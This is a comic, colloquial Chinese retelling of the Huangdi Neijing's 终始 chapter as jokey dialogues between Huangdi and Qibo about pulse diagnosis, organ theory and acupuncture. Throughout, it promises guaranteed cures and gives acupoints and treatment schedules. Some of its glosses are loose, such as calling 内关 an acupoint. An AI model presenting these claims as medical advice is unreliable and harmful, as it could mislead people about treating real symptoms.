所以啊，咱们得时刻注意保护好自己的精气。怎么保护呢？首先啊，得学会放松自己，别让心里老是装着事儿，跟个炸药包似的。其次啊，得注意饮食和作息规律，别老是吃垃圾食品、熬夜啥的，这样精气才能养得足足的。最后啊，还得适当运动运动，让身体这台机器保持活力。 黄帝闲来无事，便突发奇想，对身边的岐伯说：“岐伯啊，我这心里头老琢磨着五脏六腑那些事儿，你给咱讲讲呗，让我这皇帝也增长点中医知识嘛！” 岐伯一听，嘿嘿一笑，说：“得嘞，黄帝，那我就给您来个五脏大揭秘，保证让您听得津津有味，乐不可支！” “先说这肝吧，肝啊，它就像咱们国家的金库，专门藏着血呢！这血里头啊，还住着个叫‘魂’的小家伙。要是肝气虚了，就像是金库空虚了，那魂儿就没地方待了，人就会吓得屁滚尿流，整天提心吊胆的。反过来，要是肝气太实了，就像是金库里钱多得没地方放，那魂儿就兴奋得过头了，人就会脾气暴躁，动不动就发火，跟个火药桶似的。” 黄帝一听，哈哈大笑：“这肝还挺有个性嘛！” 岐伯接着说：“再说这脾，脾可是咱们的营养中心，专门藏着营养精华，也就是‘营’。这营里头啊，住着个叫‘意’的小精灵。要是脾气虚了，就像是营养中心瘫痪了，那四肢就没力气干活了，连五脏六腑也跟着闹意见，整天不舒服。反过来，要是脾气太实了，就像是营养过剩了，那肚子就得胀得跟个大气球似的，连上厕所都不利索了。” 黄帝听得直乐：“这脾也是个挑食的主儿！” 岐伯又说：“接下来是心，心可是咱们的情感中枢，藏着脉搏，也就是‘脉’。这脉里头啊，住着个叫‘神’的大佬。要是心气虚了，就像是情感中枢断电了，那人就得悲从中来，整天唉声叹气的。反过来，要是心气太实了，就像是情感中枢短路了，那人就得笑得合不拢嘴，跟中了五百万似的，根本停不下来。” 黄帝笑得前仰后合：“这心还真是个情绪化的家伙！” 岐伯继续讲：“然后是肺，肺可是咱们的气体交换站，藏着气，也就是‘气’。这气里头啊，住着个叫‘魄’的小弟。要是肺气虚了，就像是气体交换站故障了，那人就得鼻塞不通气，连说话都没力气。反过来，要是肺气太实了，就像是气体太多没地方放，那人就得喘得跟狗似的，胸口憋得慌，连睡觉都得仰着头。” 黄帝笑得眼泪都出来了：“这肺也是个爱凑热闹的主儿！” 最后，岐伯说：“最后是肾，肾可是咱们的生殖和内分泌中心，藏着精华，也就是‘精’。这精里头啊，住着个叫‘志’的老大。要是肾气虚了，就像是生殖和内分泌中心罢工了，那人就得晕头转向，跟丢了魂似的。反过来，要是肾气太实了，就像是精力过剩了，那人就得胀得难受，连五脏六腑也跟着遭罪。” 黄帝听完，拍着肚子大笑：“岐伯啊，你这讲得太逗了！原来五脏六腑还有这么多奇葩事儿啊！” 岐伯微微一笑，说：“黄帝，这五脏六腑啊，可都是咱们身体的宝贝疙瘩，得好好爱护才行。要想身体健康，就得审时度势，看看五脏六腑有啥不对劲的地方，及时调理。就像养花一样，得定期浇水施肥，才能长得枝繁叶茂嘛！” 终始篇第九（一） 话说有一天，黄帝闲来无事，就琢磨起了一个大问题：“哎，岐伯啊，你能不能给我讲讲针灸里的阴阳之道啊？我这心里头啊，就跟揣了个大谜团似的，不解开是真难受啊！” 岐伯一听，哈哈一笑，捋了捋他那飘逸的长胡子，说：“黄帝啊，你这问题问得好！要说这针灸之道，那简直就是一部《终始》秘籍的化身啊！你要是能把这本秘籍吃透了，嘿，五脏六腑、阴阳平衡，那都不在话下！” 黄帝一听，眼睛立马就亮了，跟发现了新大陆似的：“哦？这么说来，这《终始》秘籍还真是个宝贝啊！那你快给我讲讲，这里面到底有啥玄机？” 岐伯清了清嗓子，就开始了他的“针灸阴阳大讲堂”：“你看啊，这阴阳之道，说简单也简单，说复杂也复杂。阴呢，主要就是指的咱们身体里的五脏；阳呢，那就是六腑啦。五脏嘛，就像是深藏不露的高手，默默地给咱们提供着生命能量；六腑呢，就像是跑腿的小弟，忙前忙后，传递着各种信息。” 黄帝听得津津有味，不住地点头：“嗯，有道理！那针灸的时候，咱们是怎么区分阴阳，对症下针的呢？” 岐伯微微一笑，继续讲解：“这你就问到点子上了！针灸啊，其实就像是一场‘阴阳大战’。你要是想泻掉多余的阳气，那就得迎着阳气来的方向下针，这就叫‘泻者迎之’；要是你想补充阴气呢，那就得顺着阴气流动的方向下针，这就叫‘补者随之’。知道了这个原则啊，你就能让身体里的阴阳之气达到一种和谐的平衡状态啦！” 黄帝一听，恍然大悟：“原来如此啊！这么说来，针灸还真是一门艺术呢！” 岐伯点头赞同：“没错！而且啊，要想掌握这门艺术，你还得明白一个关键点——那就是阴阳相通！五脏为阴，六腑为阳，它们之间可不是孤立的，而是相互依存、相互制约的。就像是一对欢喜冤家，打打闹闹，却始终不离不弃。” 黄帝听了，笑得前仰后合：“哈哈，你这比喻真是太形象了！那岐伯啊，你说这针灸之术要是传到了后世，会咋样呢？” 岐伯神色变得严肃起来：“这针灸之术啊，那可是咱们老祖宗留下来的宝贝！传到后世啊，那肯定是得靠血盟来传承的！毕竟啊，这可不是什么三脚猫功夫，而是能救命、能养生的绝技啊！那些敬重它、认真学习它的人，肯定会昌盛发达；而那些轻视它、敷衍了事的人，嘿嘿，那就只能等着倒霉啦！” 黄帝一听，也收起了笑容，认真地点了点头：“嗯，你说得对！这针灸之术啊，确实得用心去学、去悟。要是有人拿它当儿戏，或者想用它来谋取私利，那肯定是会遭到天谴的！” 说到这里啊，咱们得插个题外话。你想啊，这针灸之术要是真的被那些不怀好意的人掌握了，那还了得？说不定哪天，你就走在路上，突然被人莫名其妙地扎上一针，然后就开始浑身抽搐、口吐白沫……想想都可怕啊！ 不过啊，咱们也别太担心。毕竟啊，这针灸之术可不是那么好学的。你得先了解人体的经络穴位、阴阳平衡、气血流通等等一系列复杂的理论知识；然后啊，你还得经过无数次的实践练习，才能慢慢地掌握这门技艺。所以啊，那些想走捷径、一步登天的人啊，还是趁早死了这条心吧！ 黄帝闲来无事，突然对身边的岐伯说：“老岐啊，我一直有个问题想不明白，你说那些‘平人’——就是那些从来不得病、身体倍儿棒的家伙，他们到底是咋做到的呢？是不是有啥独门秘籍啊？” 岐伯一听，嘿，这问题有意思，于是捋了捋他那长胡子，一本正经地说：“陛下啊，这事儿得从天道讲起。来来来，咱们一块儿翻开《终始》这本秘籍，探寻一下其中的奥秘。” “啥？《终始》？听起来像是武侠小说里的绝世武功秘籍啊！”黄帝一听，眼睛顿时亮了起来，仿佛看到了自己成为武林高手的幻想画面。 岐伯笑着摇了摇头，心想这黄帝陛下还真是童心未泯，于是耐心解释道：“陛下别误会，这里的《终始》啊，讲的是咱们中医的经脉理论。简单来说，就是经脉是人体气血运行的轨道，掌握了这个轨道的‘终始’，就能知道人体的阴阳平衡状况啦！” “哦？这么说来，经脉就是人体的‘高速公路’啦？那脉口人迎又是啥玩意儿？是不是高速路上的收费站啊？”黄帝脑洞大开，比喻得那叫一个生动形象。 岐伯差点没忍住笑出来，但还是强忍着笑意解释道：“脉口人迎啊，其实是中医把脉的两个重要部位。脉口在手腕内侧，也就是咱们常说的寸口脉，反映的是人体内部的气血状况；人迎呢，在脖子侧面，靠近喉结的地方，反映的是人体外部的气血状况。通过这两个地方，咱们就能判断出人体的阴阳是不是平衡，气血是不是充足啦！” “原来如此！那‘平人’的脉口人迎有啥特别之处呢？”黄帝恍然大悟，继续追问。 岐伯清了清嗓子，开始正式讲解：“所谓的‘平人者不病’，就是因为他们脉口人迎的脉象能够顺应四季的变化，就像高速公路上的车流一样，该快的时候快，该慢的时候慢，上下相通，往来自如。而且啊，他们的六经之脉——也就是太阳、阳明、少阳、太阴、少阴、厥阴这六条经脉——都通畅无阻，不会出现结脉（脉象缓慢而时有一止，止而复来）或者动脉（脉象短促、有力、如豆之跳动）这样的异常情况。” “哇，听起来就像是高速公路上没有交通事故，车流顺畅无阻啊！”黄帝插话道，显然对这个比喻非常满意。 岐伯笑着点了点头，继续说道：“没错，就像高速公路一样，‘平人’的身体内部也是和谐有序的。他们的形（形体）、肉（肌肉）、血（血液）、气（气息）都是相互协调、相互匹配的，就像一支训练有素的球队，每个队员都能在自己的位置上发挥出最佳水平。” “说到这里啊，我还得补充一点。”岐伯突然话锋一转，“‘平人’之所以能够保持身体健康，还因为他们懂得‘本末之寒温相守司’的道理。啥是本末呢？本啊，就是人体的根本——肾脏；末呢，就是人体的枝叶——四肢末端。寒温相守司呢，就是说人体要根据外界气候的变化来调节自身的寒热平衡。比如冬天冷的时候啊，咱们就得多吃点温热的食物，穿暖和点；夏天热的时候呢，就得吃点清凉的食物，穿透气点。这样一来啊，‘平人’就能做到‘天人合一’，与自然和谐共处啦！” 黄帝闲来无事，就琢磨起了人体的那些小秘密。他心想：“哎，我这当皇帝的，天天忙着治理国家，有时候还真得抽点时间关心关心自己的身体。听说歧伯对医学有一套，不如去找他问问。” 于是，黄帝就迈着四方步，来到了歧伯的诊所。一进门，黄帝就开门见山地说：“歧伯啊，我这心里有个疑惑，想请教你一下。我听说有人总是觉得气短，没力气，这到底是怎么回事呢？” 歧伯一听，嘿嘿一笑，说：“黄帝啊，您这可是问对人了。这少气啊，其实就是咱们中医里说的气虚。要想知道它的道理，咱们得先从脉象说起。” 黄帝一听，眉头一皱，心想：“这脉象，听起来就头疼。不过为了身体健康，我还是得硬着头皮听下去。” 歧伯一看黄帝那焦急的神色，连忙摆摆手，笑眯眯地安抚道：“黄帝，您先别急，咱们坐下来，听我慢慢给您唠唠。咱们中医看病啊，那可是有一套独门秘籍的，讲究的是‘望闻问切’四大法门。而这其中的切脉，嘿，那可是精髓中的精髓，关键中的关键！ 说到这‘少气’啊，从脉象上来看，就像是脉口和人迎这两个小家伙，它们平时都挺精神的，现在却都变得有气无力的。脉口呢，就像个害羞的小姑娘，躲躲闪闪，脉象微弱；人迎呢，也像个熬夜加班的小伙子，疲惫不堪，脉象不振。您要是拿它们跟正常的尺寸脉比起来，那简直就是‘小虾米见了鲸鱼’，差距可不是一星半点啊！ 不过呢，黄帝，您也别太担心。咱们中医讲究的是辨证施治，只要找准了病因，对症下药，那这些脉象上的小问题，还不是手到擒来？所以啊，您就放宽心，咱们一起慢慢调理，保证让他恢复得生龙活虎的！” 黄帝一听，点了点头，说：“哦，原来如此。那这是什么意思呢？是不是说这个人身体里的阴阳都不足了？” 歧伯一拍大腿，说：“对头！黄帝您真是聪明绝顶啊！这少气，其实就是阴阳两虚的表现。您看，咱们中医讲究的是阴阳平衡，阴平阳秘，精神乃治。这阴阳要是都不足了，那身体能不虚弱吗？” 黄帝一听，心里暗自得意，心想：“看来我这医学水平，还是有一套的。”不过脸上还是装作一副谦虚的样子，说：“那歧伯啊，这阴阳两虚，应该怎么治呢？是不是得补补阳气，再泻泻阴气，让它们达到平衡？” 歧伯一听，连忙摆手，说：“黄帝啊，您这想法可是大错特错了！这阴阳两虚啊，可不是那么简单就能补回来的。您要是光补阳气，那阴气就更不足了，这叫‘补阳则阴竭’；反过来，您要是光泻阴气，那阳气就更虚弱了，这叫‘泻阴则阳脱’。所以啊，这治疗起来，可得小心谨慎。” 黄帝一听，心里咯噔一下，心想：“这中医还真是深奥啊！一不小心，就容易犯错误。”于是连忙问道：“那歧伯啊，这阴阳两虚，到底应该怎么治呢？” 歧伯微微一笑，说：“黄帝啊，您别急。这治疗啊，咱们得用甘药。甘药啊，就是那些味道比较甘甜的药物，它们能够滋补身体，调和阴阳。像人参、黄芪、甘草这些，都是甘药的代表。” 黄帝一听，点了点头，说：“哦，原来如此。那要是甘药不管用呢？是不是得用点更厉害的药？” 歧伯一听，连忙摇头，说：“那可不行！这甘药啊，已经是比较温和的了。要是甘药都不管用，那您可千万别想着用那些猛药。要知道，药力过猛，那可是会伤身体的。到时候啊，不仅病没治好，反而把五脏六腑都给搞坏了，那可就得不偿失了。” 黄帝一听，心里暗自庆幸，心想：“幸好我没乱来，不然可就惨了。”于是连忙问道：“那歧伯啊，这甘药要是还不管用，那应该怎么办呢？” 歧伯想了想，说：“要是甘药真的不管用，那您就得注意调整自己的生活习惯和饮食了。要知道，这气虚啊，很多时候都是跟咱们的生活习惯和饮食有关的。比如啊，经常熬夜、过度劳累、饮食不规律、吃得太辣太油腻，这些都会导致气虚的。” 黄帝一听，连连点头，说：“对对对！我最近确实是经常熬夜，饮食也不太规律。看来啊，这身体健康，还真是得靠平时保养啊！” 歧伯一听，嘿嘿一笑，说：“黄帝啊，您这可是说到点子上了。咱们中医啊，讲究的是‘治未病’，就是要提前预防疾病的发生。所以啊，您平时啊，还是得注意保养身体，别等到病了才想起来治疗。” 黄帝一听，心里暗自佩服，心想：“这歧伯啊，果然是个医学大家！不仅医术高超，而且还懂得这么多道理。”于是连忙拱手道谢，说：“多谢歧伯指点迷津！我以后啊，一定注意保养身体，不再让这些小毛病找上门来。” 终始篇第九（二） 有一天，黄帝突发奇想，决定找岐伯聊聊：“岐伯啊，我听说有个叫‘人迎脉’的东西，能根据它的跳动情况判断病在哪个经络上，这是真的吗？给我说道说道呗！” 岐伯一听，心里暗笑：“这黄帝，医学的好奇心比治理国家还旺盛呢！”但他还是一本正经地回答：“哎呀，黄帝，这事儿说来话长，不过既然您有兴趣，那我就给您细细道来。” “首先啊，咱们说这‘人迎脉’，它就在脖子这儿，轻轻一按，就能感觉到脉搏的跳动。这跳动的力度和频率，那可是身体给我们的小信号呢！”岐伯边说边比划，黄帝听得津津有味，仿佛回到了学生时代。 “好嘞，咱先说‘一盛’。假如这人迎脉跳得比平时稍微快一点、强一点，这就叫‘一盛’。这时候啊，问题多半出在足少阳胆经上。胆经嘛，就像咱们家里的勇士，负责守护门户，一旦它有点儿小脾气，人就会觉得这儿不舒服那儿不对劲的。要是这时候人还特别烦躁，那就说明问题升级了，跑到手少阳三焦经那儿去了。三焦经就像是身体的交通警察，一旦它乱了套，全身都得跟着堵车！”岐伯讲得绘声绘色，黄帝听得哈哈大笑。 “别急，还有‘二盛’呢！”岐伯继续讲，“要是人迎脉跳得跟小兔子似的，砰砰砰，那叫一个欢实，那就是‘二盛’了。这时候，足太阳膀胱经该喊冤了：‘看我干啥？我又没错！’膀胱经啊，它是身体的排水系统，一旦堵了，那后果……想想都酸爽。但要是人这时候还烦躁得不行，那就得怪手太阳小肠经了。小肠经呢，就像是身体的营养吸收站，它一捣乱，咱们吃啥都不香啦！” 黄帝一听，笑得前仰后合：“岐伯啊，你这比喻太逗了！接着说，接着说！” 岐伯清了清嗓子，继续道：“再来说说‘三盛’。这人迎脉要是跳得跟打鼓似的，咚咚咚，震耳欲聋，那就是‘三盛’了。这时候啊，足阳明胃经就得出来背锅了。胃经嘛，它是身体的能量仓库，一旦它出了问题，咱们就得饿肚子了，哦不对，是感觉肚子胀胀的，啥都不想吃。要是这时候人还烦躁得跟热锅上的蚂蚁似的，那就得考虑手阳明大肠经的问题了。大肠经就像是身体的垃圾处理厂，它一罢工，咱们就得便秘啦！” 黄帝听得津津有味，忍不住插话：“那‘四盛’呢？是不是得上天了啊？” 岐伯笑着摇头：“‘四盛’啊，那可是个大场面！人迎脉跳得又快又猛，跟要爆炸似的，这就叫‘溢阳’。溢阳呢，就是阳气太旺，溢出来了，这时候身体就会出现一种叫做‘外格’的病。外格啊，就像是身体的大门关不上了，外面的邪气呼呼往里冲，里面的正气呢，拼命往外顶，两边打得不可开交，咱们这身体就成了战场啦！” 黄帝突发奇想，就像咱们现代人突然对某个热门话题感兴趣一样，他问岐伯：“嘿，岐伯，我听说脉口这东西挺玄乎，什么一盛二盛三盛四盛的，这到底是个啥玩意儿？能不能给我讲讲？” 岐伯一听，心想：“这黄帝今天怎么对脉口这么感兴趣？行吧，那我就给你上一堂生动有趣的中医课！”于是，岐伯清了清嗓子，开始了他的“脉口盛衰”大解密。 岐伯说：“黄帝啊，这脉口一盛呢，就好比你的足厥阴经（肝经）有点小脾气了。你想啊，肝是咱们身体的‘大将军’，掌管着疏泄和藏血的大权。要是它一不高兴，脉口就显示出一盛的状态，告诉你：‘嘿，注意啦，我这儿有点堵！’” 黄帝一听，哈哈大笑：“原来脉口还能当‘小信使’啊！那要是这脉口一盛还躁动起来呢？” 岐伯故作神秘地说：“那就更有趣了！脉口一盛而躁，说明问题不在脚上，而在手上啦！具体来说，就是手心主经（心包经）的事儿了。心包经就像是心脏的‘贴身小秘书’，一旦它忙碌起来，脉口就会跟着躁动，告诉你：‘大佬，心脏那儿有点忙，你得留意一下！’” 黄帝听得津津有味，连忙追问：“那脉口二盛呢？是不是就是我的足少阴经（肾经）出问题了？” 岐伯点头笑道：“正是如此！肾经可是咱们身体的‘能量库’，掌管着生长发育和生殖繁衍的大权。要是脉口二盛，那就是肾经在向你发出警告：‘大佬，我这儿能量有点不足啦，你得给我补补！’不过，要是脉口二盛还躁动起来，那就得小心了，说明手少阴经（心经）也卷进来了。心经就像是心脏的‘指挥官’，一旦它紧张起来，整个心脏系统都得跟着忙活。” 黄帝恍然大悟：“原来如此！那脉口三盛呢？是不是就是我的足太阴经（脾经）在作怪？” 岐伯笑道：“对头！脾经可是咱们身体的‘后勤部长’，掌管着运化水谷和统摄血液的重任。脉口三盛，就是脾经在告诉你：‘大佬，我这儿有点运化不动了，你得帮我分担一下！’不过，要是脉口三盛还躁动起来，那就得看看手太阴经（肺经）的情况了。肺经就像是身体的‘呼吸机’，一旦它出问题，整个呼吸系统都得跟着遭殃。” 黄帝听得连连点头，又问：“那脉口四盛呢？这得是多大的事儿啊？” 岐伯收起笑容，认真地说：“脉口四盛，那可是大事不妙啊！这说明阴血已经严重外溢了，就像水库决堤一样。这种情况在中医里叫做‘溢阴’。溢阴一旦发生，就说明内关（经络穴位）已经不通了。内关不通，那可是个大麻烦，相当于身体的交通要道被堵死了，整个身体的运行都会受到影响。到了这个地步，那可真就是‘死不治’了。” 黄帝一听，脸色都变了：“这么严重啊！那咱们得赶紧想办法预防和治疗才行！” 岐伯点头赞同：“没错！预防和治疗是关键。不过，话说回来，这脉口盛衰虽然能反映出身体的一些问题，但也不能全靠它。毕竟，咱们的身体是一个复杂的系统，各种经络、穴位、脏腑都是相互关联的。要想真正保持健康，还得靠咱们平时的养生之道啊！” 黄帝突然眉头一皱，计上心来，对着身边的岐伯说：“岐伯啊，朕近日对那中医里的‘关格’二字颇感兴趣，你给朕说道说道，这究竟是个啥玩意儿？” 岐伯一听，心里那个乐呵，心想：这黄帝老爷子又开始他的十万个为什么模式了。不过，谁让他是老大呢，咱得耐心解释不是？于是，岐伯清了清嗓子，摆出一副老中医的架势，缓缓道来：“陛下啊，这‘关格’啊，可不是什么路上的关卡，也不是吃饭时的格挡，它是咱们中医里一个相当有深度的概念。” 黄帝一听，眼睛一亮，心想：哦？还有深度？快说说，让朕也长长见识。 岐伯接着说：“要想弄明白‘关格’，咱们得先知道两个脉位，一个是人迎脉，一个在手腕内侧的太阴脉口。这俩脉啊，就像是咱们身体的两个小探子，时刻汇报着身体的健康状况。要是它们俩都疯了一样，‘砰砰砰’地跳得比平时快上四倍，那可就热闹了，这种情况，咱们就叫它‘关格’。” 黄帝一听，眉头皱得更紧了：“关格？听起来挺吓人的，是不是得了这病，人就快不行了？” 岐伯一看黄帝这表情，差点没忍住笑出来，心想：这黄帝，还真是爱一惊一乍的。于是，他赶紧正色道：“陛下所言不虚，‘关格’确实是个棘手的家伙。它就像是一道紧闭的大门，把咱们身体的阴阳气血都给堵住了。气血不通，身体自然就要出大问题。所以啊，‘关格’一旦出现，往往预示着病情危重，咱们得赶紧想办法打开这扇门，让气血重新流动起来。” 黄帝一听，恍然大悟：“原来如此，那治疗‘关格’岂不是很难？” 岐伯摇了摇头，又点了点头：“难是难，但也不是没有办法。中医讲究的是辩证施治，咱们得根据患者的具体情况，制定个性化的治疗方案。比如，要是‘关格’是因为寒气太重导致的，那咱们就得用温热的药物来散寒；要是气血亏虚引起的，那咱们就得补补气血。总之，得对症下药，才能药到病除。” 黄帝一听，若有所思：“嗯，看来中医还真是博大精深啊。不过，岐伯啊，你说这些术语，朕听着怎么跟听天书似的？能不能说得再接地气点？” 岐伯一听，乐了：“行，那我就用大白话给您解释解释。咱们可以把身体想象成一条大河，气血就是河里的水。人迎脉和太阴脉口就像是河上的两个闸门。正常情况下，这两个闸门会根据需要适时开闭，调节水流。但是，如果这两个闸门同时出了故障，开得太大或者关得太紧，那河水就要泛滥或者干涸了。这‘关格’啊，就是那两个闸门同时出问题的结果。咱们治疗‘关格’，就像是修理工一样，得找到问题所在，把闸门修好，让河水重新流动起来。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻打得真是绝了！朕现在算是明白了，‘关格’原来就是这么回事儿。看来，咱们中医还真是处处充满了智慧和趣味啊！” 黄帝突发奇想，他挠着下巴上的龙须，一脸认真地问岐伯：“岐伯啊，你说这人迎脉要是跳得跟小兔子似的，一盛、二盛、三盛的，咱们得咋整啊？”岐伯一听，心里暗笑，这黄帝平时忙于治国安邦，偶尔也会对这些医学小把戏感兴趣嘛。于是，岐伯清了清嗓子，开始了一段既专业又幽默的讲解。 “嘿，黄帝，您问对人啦！这人迎脉啊，它要是稍微激动一下，跳得比平时快那么一点点，咱们就叫它‘一盛’。这时候呢，咱们得采取‘平衡大法’，就像调节天平一样。您看，足少阳胆经这时候有点儿亢奋，咱们就用针给它‘泄泄火’，让它冷静点儿。而足厥阴肝经呢，就显得有点儿萎靡不振，咱们就得给它补补元气，让它精神起来。这手法啊，得二泻一补，就像打鼓一样，咚咚咚两下轻敲（泻），再咚一下重击（补），每天来一次，保证药到病除。不过啊，您得记得，每次扎针前都得摸摸脉，看看效果咋样，要是还跟打了鸡血似的，那就继续‘疏躁取之上’，直到它心平气和，跟您喝茶聊天一样淡定。” 黄帝一听，眼睛一亮：“哟呵，这方法听起来挺有意思的！那人迎二盛呢？是不是得更猛点儿？” 岐伯哈哈一笑：“对头！人迎二盛的时候，这家伙可就真成小兔子了，蹦跶得欢呢。这时候，咱们得请出两位大将——足太阳膀胱经和足少阴肾经。膀胱经这家伙，这时候肯定火力全开，咱们得给它来个‘灭火器’，让它冷静冷静。而肾经呢，就像是被雨淋湿的小火苗，咱们得赶紧给它添把柴，让它重新燃烧起来。手法还是二泻一补，不过这次得隔天才来一次，给它点儿时间慢慢恢复。每次扎针前，您还是得摸摸脉，看看火候够不够。要是还跟吃了兴奋剂似的，那咱们就继续‘疏躁取之上’，直到它心平气和，跟您下棋对弈一样从容。” 黄帝听得津津有味，忍不住拍手叫好：“哈哈，这方法真是绝了！那人迎三盛呢？是不是得请出如来佛祖的大手印了？” 岐伯笑得前仰后合：“黄帝，您这比喻真是绝了！不过啊，人迎三盛的时候，咱们确实得请出两位重量级选手——足阳明胃经和足太阴脾经。胃经这时候肯定跟吃了辣椒似的，火辣辣地烧着，咱们得赶紧给它降降温，让它舒服点儿。而脾经呢，就像是营养不良的小猫，咱们得赶紧给它喂点儿鱼罐头，让它壮起来。手法还是二泻一补，不过这次得每天来两次，就像吃饭一样准时。每次扎针前，您还是得摸摸脉，看看它是不是已经服软了。要是还跟打了鸡血加兴奋剂似的，那咱们就继续‘疏躁取之上’，直到它心平气和，跟您晒太阳打盹儿一样惬意。” 终始篇第九（三） 有一天，黄帝闲来无事，就对着岐伯说：“岐伯啊，我有个问题想请教你。你知道脉口一盛、二盛、三盛的时候，咱们该怎么处理吗？” 岐伯一听，心里暗自得意：“哈哈，这可是我岐伯的拿手好戏啊！”于是，他清了清嗓子，一本正经地说：“黄帝啊，这事儿得这么看……” 岐伯说：“脉口一盛的时候，就是肝火太旺了，得给肝降降火。这时候，咱们要泻足厥阴肝经，再补足少阳胆经。为啥呢？你想啊，肝是将军之官，脾气大得很，一不顺心就容易上火。而胆呢，就像个乖宝宝，总是跟着肝大哥混。咱们把肝的火气泻一泻，再让胆来补一补，这样肝就不会那么嚣张了。” 黄帝一听，恍然大悟：“哦，原来是这样啊！那具体怎么操作呢？” 岐伯说：“很简单，咱们用针灸或者推拿的方法，刺激一下足厥阴肝经的穴位，比如太冲穴，把火气泻出去。然后再刺激一下足少阳胆经的穴位，比如阳陵泉，让它来补补。记住，要二补一泻，就是泻一次肝，补两次胆，每天来一次，保证你立马见效。不过啊，你得自己感觉一下，如果还觉得心里烦躁，那就继续泻泻火；等到心平气和了，那就算好了。” 黄帝听了，笑得合不拢嘴：“哈哈，岐伯啊，你这方法真是太妙了！下次我上火了，就找你给我泻泻火！” 黄帝又问：“那脉口二盛的时候呢？又该怎么处理？” 岐伯说：“脉口二盛啊，就是肾水不足了。肾是先天之本，肾水一少，人就容易觉得累，没精神。这时候，咱们得泻足少阴肾经，再补足太阳膀胱经。为啥呢？肾和膀胱就像一对好哥们儿，肾是哥哥，膀胱是弟弟。哥哥水少了，弟弟就得帮忙补充一下。咱们把肾里的浊气泻出去，再让膀胱来补补水，这样肾就不会那么干了。” 黄帝一听，又明白了：“哦，原来是这样啊！那具体怎么操作呢？” 岐伯说：“还是一样的道理，用针灸或者推拿的方法，刺激一下足少阴肾经的穴位，比如涌泉穴，把浊气泻出去。然后再刺激一下足太阳膀胱经的穴位，比如委中穴，让它来补补水。记住啊，要二补一泻，就是泻一次肾，补两次膀胱，不过这次得隔天来一次，因为肾比较娇贵嘛，得慢慢来。等到你觉得精神饱满了，那就算好了。” 黄帝听了，笑得前仰后合：“哈哈，岐伯啊，你这方法真是太绝了！下次我肾虚了，就找你给我补补水！” 黄帝又问：“那脉口三盛的时候呢？又该怎么处理？” 岐伯说：“脉口三盛啊，就是脾胃不和了。脾胃是后天之本，脾胃一不和，人就容易消化不良、拉肚子或者便秘。这时候，咱们得泻足太阴脾经，再补足阳明胃经。为啥呢？脾和胃就像一对好搭档，脾负责把食物转化成营养，胃负责把营养送到全身。如果它们俩闹别扭了，那咱们就得帮它们调解一下。” 黄帝一听，又明白了：“哦，原来是这样啊！那具体怎么操作呢？” 岐伯说：“还是一样的道理，用针灸或者推拿的方法，刺激一下足太阴脾经的穴位，比如三阴交穴，把浊气泻出去。然后再刺激一下足阳明胃经的穴位，比如足三里穴，让它来补补气。记住啊，这次要二补一泻，而且得每天来两次，因为脾胃的问题比较严重嘛，得赶紧解决。不过啊，你也别太着急，得慢慢来，等到你觉得胃口好了、大便也正常了，那就算好了。” 黄帝闲来无事，便找来了岐伯，打算聊聊医学那些事儿。黄帝开口就问：“岐伯啊，我听说有的人的人迎脉和脉口脉都特别旺盛，旺盛到三倍以上，这到底是咋回事儿呢？是不是他们身体里有啥宝藏没被发现啊？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得可真是有水平，不过呢，这事儿得从咱们中医的阴阳理论说起。” 黄帝一听阴阳，眼睛立刻就亮了，毕竟这可是中医的两大法宝之一嘛。岐伯见状，便继续说道：“你看啊，咱们中医讲究阴阳平衡，就像咱们生活中的天平一样，左边放点儿阳，右边放点儿阴，这样天平才能稳稳当当的。可是呢，有些人呢，他们的阴阳平衡就被打破了，就像是天平的两边都加上了三倍的重物，你说这天平还能稳得住吗？” 黄帝一听，恍然大悟：“哦，我明白了，你是说人迎脉和脉口脉都旺盛到三倍以上，就是阴阳两边都加了重物，平衡被打破了，对吧？” 岐伯点头称赞：“对对对，黄帝真是聪明绝顶啊！这种情况呢，我们中医称之为‘阴阳俱溢’。就像是两个水库的水都溢出来了，你说这水往哪儿流呢？总不能一直在那儿泛滥吧？” 黄帝想了想，说：“那肯定是流到低处去了，或者是流到别的地方去了，总不能一直在那儿堵着吧？” 岐伯一拍大腿：“对头！在咱们人体里啊，这溢出来的阴阳之气呢，就会到处乱窜，找不到出路。就像是你开车在路上，突然遇到了大堵车，你说你是不是很着急，很想找个出口出去啊？” 黄帝点头：“那肯定的，谁也不想一直堵在那儿啊！” 岐伯接着说：“所以啊，这溢出来的阴阳之气也是一样的，它们找不到出路，就会在身体里到处乱窜，最后呢，就会流到五脏六腑里去。你想想啊，这五脏六腑就像是咱们家里的房间一样，突然之间涌进来一大堆水，你说这房间还能住人吗？” 黄帝一听，哈哈大笑：“老岐啊，你这比喻真是太贴切了！那照你这么说，这五脏六腑被阴阳之气给淹了，那岂不是要出问题啊？” 岐伯点头：“没错，黄帝真是举一反三啊！这五脏六腑被阴阳之气给淹了，就会出现各种内伤。就像是咱们家里的电器被水淹了一样，你说这电器还能正常工作吗？” 黄帝一听，眉头紧锁：“那这可如何是好？总不能看着这些内脏被淹死吧？” 岐伯笑了笑，说：“黄帝别急，咱们中医有的是办法。不过啊，这事儿得讲究个方式方法，不能乱来。就像是治水一样，你得先找到水源，然后再想办法把水引走，对吧？” 黄帝点头：“对对对，这治水可是个大学问啊！” 岐伯接着说：“所以啊，咱们治这个阴阳俱溢也是一样的道理。你得先找到病因，然后再对症下药。可是呢，有些人呢，他们不懂这个道理，一看到身体不舒服，就想着用艾灸来治。就像是你看到家里漏水了，不去找漏水的原因，反而拿着个熨斗去熨地板一样，你说这能解决问题吗？” 黄帝一听，笑得前仰后合：“老岐啊，你这比喻真是太逗了！那照你这么说，这艾灸要是用得不当，反而会加重病情了？” 岐伯点头：“没错，黄帝真是思维敏捷啊！这艾灸啊，要是用得不当，就像是给已经泛滥成灾的水库又加了一把火，你说这水是不是会涨得更高，淹得更多啊？” 黄帝一听，恍然大悟：“哦，我明白了，原来这艾灸也不是万能的啊！那要是遇到了阴阳俱溢的情况，咱们应该怎么办呢？” 岐伯微微一笑，说：“这事儿啊，咱们得慢慢来。首先呢，咱们得找到病因，看看是哪儿出了问题，导致了阴阳失衡。然后呢，咱们再想办法调整阴阳，让身体重新回到平衡的状态。就像是咱们开车遇到了堵车一样，你得先找到堵车的原因，然后再想办法绕过去或者等交通恢复畅通一样。” 黄帝一听，连连点头：“老岐啊，你这说得真是太有道理了！看来咱们中医还真是博大精深啊！” 